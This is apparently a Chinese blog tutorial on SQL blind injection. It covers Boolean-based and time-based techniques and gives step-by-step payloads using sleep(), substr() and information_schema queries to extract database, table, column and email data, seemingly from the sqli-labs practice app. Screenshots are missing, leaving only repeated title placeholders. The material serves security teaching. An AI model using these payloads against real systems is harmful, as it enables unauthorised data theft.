SQL注入---盲注

时间:2024-04-11 06:57:18

盲注

1、盲注的原理

屏蔽了报错信息,攻击者无法使用报错信息来进行注入判断。

2、盲注的类型

   1. Boolean盲注:无论输入什么只会显示真与假
   2. 时间盲注:页面没有任何的显示,通过时间的延迟来判断是否存在注入
 

3Boolean盲注

3.1、什么是Boolean盲注?

       是无论输入什么,结果只返回真和假两种结果。

3.2Boolean盲注的判断方式

      判断数据库名的长度:length(database())>=x
      判断表名:substr(database(),1,1)='xx'
      通过ASII码判断:ascii(substr(database(),1,1))=xx

3.3Boolean盲注的基本步骤

  • 首先判断漏洞(注入类型)

  • 确定数据库名的长度

         SQL注入---盲注
        length(databses())>=xxx
  • 通过数据库名的长度来确定数据库名

         SQL注入---盲注
       由于使用以上方法操作复杂,因此可以会用Burp suite 来对其进行操作
  • Burp suite爆数据库名

        SQL注入---盲注
             SQL注入---盲注
            SQL注入---盲注
             SQL注入---盲注
 
  • Brup suite爆表名

SQL注入---盲注

  • Burp suite爆字段名

SQL注入---盲注

  • Burip suite爆数据

SQL注入---盲注

4、时间盲注

4.1、什么是时间盲注?

代码存在 sql 注入漏洞,然而页面既不会回显数据,也不会回显错误信息,语句执行后也 不提示真
假,我们不能通过页面的内容来判断。这里我们可以通过构造语句,通过页面响应的时长,来判断信
息。

4.2、时间盲注的判断

通过回显时间的延迟作为判断:1 and sleep(5) ----如果时间有延迟则可以使用时间盲注
判断时间延迟的函数:sleep()benchmark()
if(str1,str2,str3) ---如果str1正确,则返回str2,否则执行str3

4.3、时间盲注的思路(基于时间的单引号盲注、基于时间的双引号盲注id=1''

  • 首先判断注入点

  • 利用函数sleep()的延迟来判断是否可以使用时间盲注,并且一同判断其注入的类型

         ?id=1' and sleep(5) --+ ---基于单引号的时间盲注
         ?id=1" and sleep(5) --+ ---基于双引号的时间盲注
  • 利用length()if()函数判断数据库名的长度

        id=1' and if(length(database())>=9,sleep(5),1) --+ 出错 数据库名长度为8
  • 利用Burp suitsubstr()函数来**数据库名

       id=1' and if(substr(database(),1,1)='a',sleep(5),1) --+
       SQL注入---盲注
  • 爆数据表名 (table_name information_schema.tables table_schema)

        id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='e',sleep(5),1) --+
  • 爆字段名 (column_nname information_schema.columns table_schema table_name)

       id=1' and if(substr((select group_concat(column_name) from information_schema.columns
  • where table_schema='security' and table_name='emails'),1,1)='i',sleep(5),1) --+

  • 爆数据

       id=1' and if(substr((select group_concat(id,email_id) from security.emails),1,1)='1',sleep(5),1)  --+